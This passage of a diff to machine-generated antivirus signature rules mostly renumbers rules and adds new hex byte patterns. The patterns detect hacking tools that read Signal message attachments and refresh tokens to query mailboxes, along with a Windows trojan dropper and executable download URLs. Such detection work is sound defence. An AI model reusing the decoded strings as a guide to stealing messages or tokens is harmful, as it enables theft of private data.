_InfrastructureShared_19102{ +rule _InfrastructureShared_20295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -234568,7 +249326,7 @@ rule _InfrastructureShared_19102{ ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*25961+(#a_6e_2 & 1)*30313+(#a_20_3 & 1)*29541+(#a_41_4 & 1)*20538+(#a_00_6 & 1)*101) >=3 } -rule _InfrastructureShared_19103{ +rule _InfrastructureShared_20296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -234584,7 +249342,7 @@ rule _InfrastructureShared_19103{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3842+(#a_6e_2 & 1)*8307+(#a_00_3 & 1)*3842+(#a_00_4 & 1)*144+(#a_74_5 & 1)*26626+(#a_63_6 & 1)*29535) >=4 } -rule _InfrastructureShared_19104{ +rule _InfrastructureShared_20297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -234598,7 +249356,7 @@ rule _InfrastructureShared_19104{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_01_2 & 1)*-28615+(#a_2d_3 & 1)*23085+(#a_74_5 & 1)*28498) >=7 } -rule _InfrastructureShared_19105{ +rule _InfrastructureShared_20298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -234612,7 +249370,7 @@ rule _InfrastructureShared_19105{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_3 & 1)*54+(#a_00_5 & 1)*57+(#a_00_6 & 1)*302) >=7 } -rule _InfrastructureShared_19106{ +rule _InfrastructureShared_20299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -234622,7 +249380,7 @@ rule _InfrastructureShared_19106{ ((#a_54_0 & 1)*18467) >=8 } -rule _InfrastructureShared_19107{ +rule _InfrastructureShared_20300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -234640,7 +249398,7 @@ rule _InfrastructureShared_19107{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29281+(#a_25_2 & 1)*6144+(#a_6f_3 & 1)*25956+(#a_62_4 & 1)*21084+(#a_2e_5 & 1)*25956+(#a_31_6 & 1)*25966+(#a_61_7 & 1)*29276+(#a_76_8 & 1)*25717) >=9 } -rule _InfrastructureShared_19108{ +rule _InfrastructureShared_20301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -234658,7 +249416,7 @@ rule _InfrastructureShared_19108{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29797+(#a_79_2 & 1)*29793+(#a_73_3 & 1)*28274+(#a_00_4 & 1)*-24456+(#a_48_6 & 1)*8448+(#a_65_7 & 1)*28530+(#a_6c_8 & 1)*24949+(#a_01_9 & 1)*27746) >=10 } -rule _InfrastructureShared_19109{ +rule _InfrastructureShared_20302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -234677,7 +249435,7 @@ rule _InfrastructureShared_19109{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28277+(#a_47_2 & 1)*385+(#a_76_3 & 1)*21084+(#a_5c_4 & 1)*25956+(#a_44_5 & 1)*17986+(#a_36_6 & 1)*16963+(#a_2d_7 & 1)*13107+(#a_24_8 & 1)*-32493+(#a_6f_9 & 1)*29797) >=10 } -rule _InfrastructureShared_19110{ +rule _InfrastructureShared_20303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -234697,7 +249455,7 @@ rule _InfrastructureShared_19110{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16965+(#a_30_2 & 1)*12342+(#a_31_3 & 1)*12340+(#a_00_4 & 1)*12589+(#a_24_5 & 1)*385+(#a_31_6 & 1)*13154+(#a_73_7 & 1)*29230+(#a_6f_8 & 1)*25449+(#a_73_9 & 1)*21249+(#a_61_10 & 1)*279) >=11 } -rule _InfrastructureShared_19111{ +rule _InfrastructureShared_20304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -234718,7 +249476,7 @@ rule _InfrastructureShared_19111{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26996+(#a_01_2 & 1)*25955+(#a_73_3 & 1)*28521+(#a_69_4 & 1)*12082+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_19112{ +rule _InfrastructureShared_20305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 15 00 21 " @@ -234745,7 +249503,7 @@ rule _InfrastructureShared_19112{ ((#a_4c_0 & 1)*21539+(#a_5e_1 & 1)*261+(#a_73_2 & 1)*23328+(#a_75_3 & 1)*26144+(#a_75_4 & 1)*26144+(#a_2e_5 & 1)*28527+(#a_73_6 & 1)*29281+(#a_74_7 & 1)*25962+(#a_70_8 & 1)*14912+(#a_01_9 & 1)*26480+(#a_33_10 & 1)*261+(#a_77_11 & 1)*25203+(#a_5c_12 & 1)*17153+(#a_6a_13 & 1)*29033+(#a_00_15 & 1)*32+(#a_5a_16 & 1)*16697+(#a_00_18 & 1)*32+(#a_00_20 & 1)*119) >=15 } -rule _InfrastructureShared_19113{ +rule _InfrastructureShared_20306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -234769,7 +249527,7 @@ rule _InfrastructureShared_19113{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30056+(#a_76_2 & 1)*30068+(#a_74_3 & 1)*25974+(#a_2f_4 & 1)*13166+(#a_01_5 & 1)*25959+(#a_72_7 & 1)*23553+(#a_6e_8 & 1)*28004+(#a_01_9 & 1)*1+(#a_a1_10 & 1)*0+(#a_09_12 & 1)*11408+(#a_2d_13 & 1)*14637+(#a_00_15 & 1)*109+(#a_00_16 & 1)*45+(#a_6e_17 & 1)*22330) >=18 } -rule _InfrastructureShared_19114{ +rule _InfrastructureShared_20307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -234795,7 +249553,7 @@ rule _InfrastructureShared_19114{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*21574+(#a_71_2 & 1)*11895+(#a_01_3 & 1)*27748+(#a_64_4 & 1)*28786+(#a_00_5 & 1)*45+(#a_00_7 & 1)*115+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637+(#a_00_10 & 1)*3+(#a_6c_11 & 1)*28500+(#a_79_12 & 1)*25454+(#a_00_13 & 1)*114+(#a_01_15 & 1)*1+(#a_a1_16 & 1)*0+(#a_00_17 & 1)*26476+(#a_00_19 & 1)*114) >=20 } -rule _InfrastructureShared_19115{ +rule _InfrastructureShared_20308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -234808,7 +249566,7 @@ rule _InfrastructureShared_19115{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637) >=2 } -rule _InfrastructureShared_19116{ +rule _InfrastructureShared_20309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -234824,7 +249582,7 @@ rule _InfrastructureShared_19116{ ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*28265+(#a_00_2 & 1)*97+(#a_00_3 & 1)*78+(#a_00_5 & 1)*100+(#a_61_6 & 1)*21364+(#a_00_8 & 1)*105) >=3 } -rule _InfrastructureShared_19117{ +rule _InfrastructureShared_20310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -234837,7 +249595,7 @@ rule _InfrastructureShared_19117{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_00_3 & 1)*115+(#a_00_5 & 1)*109) >=4 } -rule _InfrastructureShared_19118{ +rule _InfrastructureShared_20311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " @@ -234856,7 +249614,20 @@ rule _InfrastructureShared_19118{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_30_2 & 1)*300+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=4 } -rule _InfrastructureShared_19119{ +rule _InfrastructureShared_20312{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 63 6f 6f 70 44 69 73 68 2e 42 21 64 68 61 00 01 00 ae 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 6a 00 73 00 6f 00 6e 00 20 00 46 00 52 00 4f 00 4d 00 20 00 6d 00 65 00 73 00 73 00 } //16675 + $a_00_1 = {65 00 73 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 68 00 61 00 73 00 41 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 20 00 3d 00 20 00 31 00 20 00 61 00 6e 00 64 00 20 00 73 00 65 00 6e 00 74 00 5f 00 61 00 74 00 20 00 3e 00 20 00 7b 00 30 00 7d 00 20 00 61 00 6e 00 64 00 20 00 73 00 65 } //97 + $a_00_3 = {74 00 20 00 3c 00 20 00 7b 00 31 00 7d 00 3b 00 01 00 11 01 44 65 63 72 79 70 74 41 74 74 61 63 68 6d 65 6e 74 01 00 68 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 67 00 65 00 74 00 20 00 69 00 6e 00 66 00 6f 00 20 00 61 00 62 00 6f 00 75 00 74 00 20 00 61 00 74 00 74 00 } //95 + $a_00_4 = {68 00 6d 00 65 00 6e 00 74 00 73 00 20 00 66 00 72 00 6f 00 6d 00 20 00 53 00 69 00 67 00 6e 00 61 00 6c 00 20 00 7b 00 30 00 7d 00 01 00 1a 01 73 00 71 00 6c 00 5c 00 64 00 62 00 2e 00 73 00 71 00 6c 00 69 00 74 00 65 00 01 00 20 01 25 00 41 00 50 00 50 00 44 00 41 00 54 00 41 00 25 00 5c 00 53 } //97 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_00_3 & 1)*95+(#a_00_4 & 1)*97) >=5 + +} +rule _InfrastructureShared_20313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -234870,7 +249641,7 @@ rule _InfrastructureShared_19119{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_61_2 & 1)*281+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_19120{ +rule _InfrastructureShared_20314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -234889,7 +249660,7 @@ rule _InfrastructureShared_19120{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29216+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_a1_7 & 1)*0+(#a_01_8 & 1)*24929+(#a_81_9 & 1)*1) >=7 } -rule _InfrastructureShared_19121{ +rule _InfrastructureShared_20315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -234908,7 +249679,7 @@ rule _InfrastructureShared_19121{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29811+(#a_00_2 & 1)*26214+(#a_49_3 & 1)*385+(#a_72_4 & 1)*29537+(#a_01_5 & 1)*6656+(#a_73_6 & 1)*25974+(#a_65_7 & 1)*29301+(#a_6e_8 & 1)*28781+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_19122{ +rule _InfrastructureShared_20316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -234935,7 +249706,7 @@ rule _InfrastructureShared_19122{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_53_2 & 1)*21505+(#a_73_3 & 1)*25936+(#a_6e_4 & 1)*20069+(#a_6f_5 & 1)*31088+(#a_35_6 & 1)*-28632+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1) >=18 } -rule _InfrastructureShared_19123{ +rule _InfrastructureShared_20317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 13 00 21 " @@ -234959,7 +249730,7 @@ rule _InfrastructureShared_19123{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*25976+(#a_76_4 & 1)*384+(#a_01_5 & 1)*26224+(#a_4c_6 & 1)*8993+(#a_00_8 & 1)*114+(#a_00_10 & 1)*101+(#a_74_11 & 1)*25449+(#a_41_12 & 1)*8448+(#a_28_14 & 1)*10302+(#a_22_15 & 1)*9472+(#a_4d_16 & 1)*400+(#a_24_17 & 1)*-14589+(#a_44_18 & 1)*15180) >=18 } -rule _InfrastructureShared_19124{ +rule _InfrastructureShared_20318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 00 21 00 08 00 21 " @@ -234974,7 +249745,7 @@ rule _InfrastructureShared_19124{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_00_3 & 1)*1538+(#a_00_5 & 1)*105+(#a_00_6 & 1)*52+(#a_2e_7 & 1)*30313) >=33 } -rule _InfrastructureShared_19125{ +rule _InfrastructureShared_20319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -234991,7 +249762,7 @@ rule _InfrastructureShared_19125{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*9472+(#a_4d_2 & 1)*400+(#a_24_3 & 1)*-14589+(#a_44_4 & 1)*15180+(#a_d8_5 & 1)*-12287+(#a_65_6 & 1)*25902+(#a_6c_7 & 1)*30832) >=2 } -rule _InfrastructureShared_19126{ +rule _InfrastructureShared_20320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0d 00 21 " @@ -235000,17 +249771,30 @@ rule _InfrastructureShared_19126{ $a_66_1 = {73 2f 77 78 7a 2f 31 2e 30 2f 61 6c 6c 2f 77 75 70 5f 54 2e 65 78 65 02 00 2a 80 01 2e 61 73 74 72 69 6c 6c 73 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 70 78 75 70 2f 70 69 63 65 78 61 31 32 30 32 2e 65 78 65 02 00 3c 80 01 2f 2f 64 68 64 32 39 75 70 37 7a 63 64 79 74 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 64 6f 77 6e 6c } //29487 $a_2f_2 = {6b 73 65 65 75 70 32 2f 64 61 74 30 33 32 38 2e 65 78 65 02 00 1f 80 01 2f 75 70 2e 71 6b 73 65 65 2e 6e 65 74 2f 52 65 71 75 65 73 74 32 2f 63 68 65 63 6b 69 6e 73 01 00 0a 80 01 70 78 64 6c 2e 73 75 2e 64 6c 01 00 0b 80 01 70 78 64 6c 2e 75 73 75 2e 64 6c 01 00 0b 80 01 74 70 78 64 6c 2e 73 75 2e } //24943 $a_00_3 = {0b } //31349 - $a_78_4 = {6c 2e 75 73 75 2e 75 7a 01 00 0b 80 01 70 78 64 6c 2e 73 75 2e 70 72 6f 01 00 0c 80 01 70 78 64 6c 2e 75 73 75 2e 70 72 6f 01 00 0d 80 01 70 78 64 6c 2e 73 75 2e 64 65 63 72 79 01 00 0e 80 01 70 78 64 6c 2e 75 73 75 2e 64 65 63 72 79 01 00 0e 80 01 70 78 64 6c 2e 64 6c 79 2e 64 70 74 69 64 00 00 78 a2 01 00 04 00 04 00 05 00 21 23 41 } //384 - $a_45_5 = {3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 42 61 63 6b 61 66 66 65 63 74 2e 42 21 64 68 61 00 01 00 4c 01 7b 00 34 00 35 00 39 00 30 00 46 00 38 00 31 00 31 00 2d 00 31 00 44 00 33 00 41 00 2d 00 31 00 31 00 64 00 30 00 } //17996 - $a_00_6 = {39 00 31 00 46 00 2d 00 30 00 30 00 41 00 41 00 30 00 30 00 34 00 42 00 32 00 45 00 32 00 34 00 7d 00 01 00 2a 01 53 00 65 00 4c 00 6f 00 61 00 64 00 44 00 72 00 69 00 } //45 - $a_00_7 = {72 00 50 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 01 00 a2 01 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 50 00 72 00 69 00 6e 00 74 00 5c } //118 - $a_00_9 = {72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 78 00 36 00 34 00 5c 00 50 00 72 00 69 00 6e 00 74 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 6f 00 72 00 73 00 5c 00 01 00 38 01 45 00 6c 00 65 00 76 00 61 00 74 00 69 00 6f 00 6e 00 3a 00 41 00 64 00 6d } //118 - $a_00_11 = {74 00 72 00 61 00 74 00 6f 00 72 00 21 00 6e 00 65 00 77 00 3a 00 01 00 08 01 2d 00 78 00 3a 00 34 00 00 00 78 a2 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 50 44 41 30 30 35 21 4d 54 42 00 01 00 36 01 47 00 72 00 75 00 6e 00 64 00 73 00 70 00 72 00 6f 00 67 00 65 00 74 00 73 } //105 + $a_78_4 = {6c 2e 75 73 75 2e 75 7a 01 00 0b 80 01 70 78 64 6c 2e 73 75 2e 70 72 6f 01 00 0c 80 01 70 78 64 6c 2e 75 73 75 2e 70 72 6f 01 00 0d 80 01 70 78 64 6c 2e 73 75 2e 64 65 63 72 79 01 00 0e 80 01 70 78 64 6c 2e 75 73 75 2e 64 65 63 72 79 01 00 0e 80 01 70 78 64 6c 2e 64 6c 79 2e 64 70 74 69 64 00 00 78 a2 01 00 03 00 03 00 06 00 21 23 41 } //384 + $a_48_5 = {63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 72 64 65 72 6c 79 52 6f 61 73 74 69 6e 67 2e 42 21 64 68 61 00 01 00 30 01 4b 00 65 00 79 00 77 00 6f 00 72 00 64 00 73 00 20 00 43 00 } //17996 + $a_00_6 = {20 00 6e 00 6f 00 74 00 20 00 62 00 65 00 20 00 6e 00 75 00 6c 00 6c 00 01 00 36 01 5b 00 2b 00 5d 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 6f 00 6b 00 65 00 6e 00 20 00 6e 00 6f 00 74 00 20 00 65 00 78 00 70 00 69 00 72 00 65 00 64 00 01 00 34 01 5b 00 21 00 5d 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 6f 00 } //97 + $a_00_7 = {6e 00 20 00 69 00 73 00 20 00 65 00 78 00 70 00 69 00 72 00 65 00 64 00 01 00 2e 01 5b 00 2a 00 5d 00 20 00 53 00 74 00 61 00 72 00 74 00 20 00 52 00 65 00 66 00 72 00 65 00 73 00 68 00 20 00 54 00 6f 00 6b 00 65 00 6e 00 01 00 2a 01 2f 00 6d 00 61 00 69 00 6c 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 } //107 + $a_00_9 = {70 00 3d 00 39 00 39 00 39 00 01 00 66 01 2f 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 73 00 3f 00 24 00 73 00 65 00 6c 00 65 00 63 00 74 00 3d 00 69 00 64 00 2c 00 73 00 75 00 62 00 6a 00 65 00 63 00 74 00 2c 00 72 00 65 00 63 00 65 00 69 00 76 00 65 00 64 00 44 00 61 00 74 00 65 00 54 00 69 00 6d 00 65 00 26 00 24 00 74 00 6f } //116 + $a_a2_11 = {00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 42 61 63 6b 61 66 66 65 63 74 2e 42 21 64 68 61 00 01 00 4c 01 7b 00 34 00 35 00 39 00 30 00 46 00 38 00 31 00 31 00 2d 00 31 00 44 00 33 00 41 00 2d 00 31 00 31 00 64 00 30 00 2d 00 38 00 39 00 31 00 46 00 2d 00 30 00 30 00 41 00 41 00 30 00 30 00 34 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29487+(#a_2f_2 & 1)*24943+(#a_00_3 & 1)*31349+(#a_78_4 & 1)*384+(#a_45_5 & 1)*17996+(#a_00_6 & 1)*45+(#a_00_7 & 1)*118+(#a_00_9 & 1)*118+(#a_00_11 & 1)*105) >=2 + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29487+(#a_2f_2 & 1)*24943+(#a_00_3 & 1)*31349+(#a_78_4 & 1)*384+(#a_48_5 & 1)*17996+(#a_00_6 & 1)*97+(#a_00_7 & 1)*107+(#a_00_9 & 1)*116+(#a_a2_11 & 1)*0) >=2 } -rule _InfrastructureShared_19127{ +rule _InfrastructureShared_20321{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f 72 64 65 72 6c 79 52 6f 61 73 74 69 6e 67 2e 42 21 64 68 61 00 01 00 30 01 4b 00 65 00 79 00 77 00 6f 00 72 00 64 00 73 00 20 00 43 00 61 00 6e 00 20 00 6e 00 6f 00 74 00 20 00 62 00 } //16675 + $a_00_1 = {6e 00 75 00 6c 00 6c 00 01 00 36 01 5b 00 2b 00 5d 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 } //101 + $a_00_2 = {6b 00 65 00 6e 00 20 00 6e 00 6f 00 74 00 20 00 65 00 78 00 70 00 69 00 72 00 65 00 64 00 01 00 34 01 5b 00 21 00 5d 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 6f 00 6b 00 65 00 6e 00 20 00 69 00 73 00 20 00 65 00 78 00 70 00 69 00 72 00 65 00 64 00 01 00 2e 01 5b 00 2a 00 5d 00 20 00 53 00 74 00 61 00 72 00 74 00 20 00 52 } //84 + $a_00_4 = {73 00 68 00 20 00 54 00 6f 00 6b 00 65 00 6e 00 01 00 2a 01 2f 00 6d 00 61 00 69 00 6c 00 46 00 6f 00 6c 00 64 00 65 00 72 00 73 00 3f 00 24 00 74 00 6f 00 70 00 3d 00 39 00 39 00 39 00 01 00 66 01 2f 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 73 00 3f 00 24 00 73 00 65 00 6c 00 65 00 63 00 74 00 3d } //114 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*84+(#a_00_4 & 1)*114) >=3 + +} +rule _InfrastructureShared_20322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -235024,7 +249808,7 @@ rule _InfrastructureShared_19127{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49+(#a_00_2 & 1)*77+(#a_00_3 & 1)*105+(#a_00_4 & 1)*58) >=4 } -rule _InfrastructureShared_19128{ +rule _InfrastructureShared_20323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -235036,7 +249820,7 @@ rule _InfrastructureShared_19128{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108+(#a_00_3 & 1)*100) >=5 } -rule _InfrastructureShared_19129{ +rule _InfrastructureShared_20324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " @@ -235058,7 +249842,7 @@ rule _InfrastructureShared_19129{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28787+(#a_64_2 & 1)*24904+(#a_65_3 & 1)*16741+(#a_00_4 & 1)*1+(#a_67_5 & 1)*14930+(#a_00_7 & 1)*109+(#a_00_9 & 1)*116+(#a_00_10 & 1)*97+(#a_00_11 & 1)*77+(#a_00_13 & 1)*108+(#a_00_14 & 1)*40+(#a_00_15 & 1)*51) >=8 } -rule _InfrastructureShared_19130{ +rule _InfrastructureShared_20325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -235073,7 +249857,7 @@ rule _InfrastructureShared_19130{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_00_4 & 1)*116+(#a_00_5 & 1)*97+(#a_00_6 & 1)*77+(#a_00_8 & 1)*108) >=9 } -rule _InfrastructureShared_19131{ +rule _InfrastructureShared_20326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -235085,17 +249869,15 @@ rule _InfrastructureShared_19131{ $a_50_5 = {74 68 57 01 00 0b 01 44 65 6c 65 74 65 46 69 6c 65 57 01 00 0b 01 43 72 65 61 74 65 46 69 6c 65 57 01 00 09 01 57 72 69 74 65 46 69 6c 65 01 00 0f 01 53 68 65 6c 6c 45 78 65 63 75 74 65 45 78 57 00 00 78 a3 01 00 01 00 01 00 15 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 } //28005 $a_2e_6 = {00 01 00 05 01 8b 55 fc 80 f1 01 00 04 01 8b 4d fc 34 01 00 04 01 8b 55 fc 34 01 00 04 01 8b 4d f8 34 01 00 05 01 8b 55 f4 80 f1 01 00 04 01 8b 4d f4 34 01 00 04 01 8b 5d f4 34 01 00 11 03 0f b6 45 0b 8b 4d 90 17 03 01 01 01 fc f8 f4 90 00 01 00 11 03 0f b6 4d 0b 8b 55 90 17 03 01 01 01 fc f8 f4 90 00 01 00 11 03 0f b6 } //28789 $a_5d_7 = {17 03 01 01 01 fc f8 f4 90 00 9c ff 15 03 8b 55 08 8a 54 15 90 01 01 34 90 01 01 04 90 01 01 3a d0 90 00 9c ff 07 01 8a 45 0b 8b 4d f4 34 9c ff 07 01 8b 45 08 8a 08 80 c1 9c ff 17 03 8a 45 0b 8b 0d 90 01 04 8b 75 90 03 01 01 0c f4 34 90 01 01 04 90 00 9c ff 10 03 8a 44 24 2f 8b 0d 90 01 04 34 90 01 01 04 90 00 9c ff 1d 03 c0 45 0f 03 8b 45 90 01 01 8a 5d 0f 88 18 8b 45 90 01 01 40 89 45 90 01 01 3b 45 90 00 9c ff } //2885 - $a_45_8 = {8b 0d 90 01 04 34 90 01 01 04 90 01 01 88 01 90 00 9c ff 1e 03 66 0b d0 66 8b 45 90 01 01 80 c1 90 01 01 e9 90 16 66 3b c2 0f 84 90 01 04 c0 c9 06 90 00 9c ff 0d 03 32 d2 0a c2 28 45 90 09 02 00 34 90 00 9c ff 0b 03 8a 45 0b 8b 0d 90 01 07 34 90 00 9c ff 1c 03 8a 0c 01 8b 55 90 01 01 80 e9 90 01 01 80 f1 90 01 01 80 c1 90 01 01 88 0c 02 90 00 00 00 78 a3 01 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 56 69 72 54 } //788 - $a_3a_9 = {69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4c 47 00 02 00 3f 03 8b 0e 83 c6 01 8d 01 83 c6 03 8d 5b 03 31 c9 83 eb 02 90 18 8d 0b 35 90 01 04 83 ea 02 66 90 04 01 02 35 83 90 01 02 4a 90 18 4a d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 03 02 01 0f 84 74 90 00 02 00 29 03 8d 0b 35 00 00 90 01 02 4a 4a 4a 51 b5 90 01 01 b1 } //28527 - $a_30_10 = {30 } //400 0 - $a_13_11 = {d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 00 01 00 1e 03 6a 40 68 00 10 00 00 68 90 01 04 6a 00 90 13 a1 90 01 04 8b 10 89 15 90 01 04 ff 25 90 00 01 00 68 03 83 7d 0c 01 90 03 05 04 0f 84 90 01 04 74 90 01 01 83 7d 0c 0f 90 03 05 04 0f 84 90 01 04 74 90 01 01 81 7d 0c 13 01 00 00 90 03 05 04 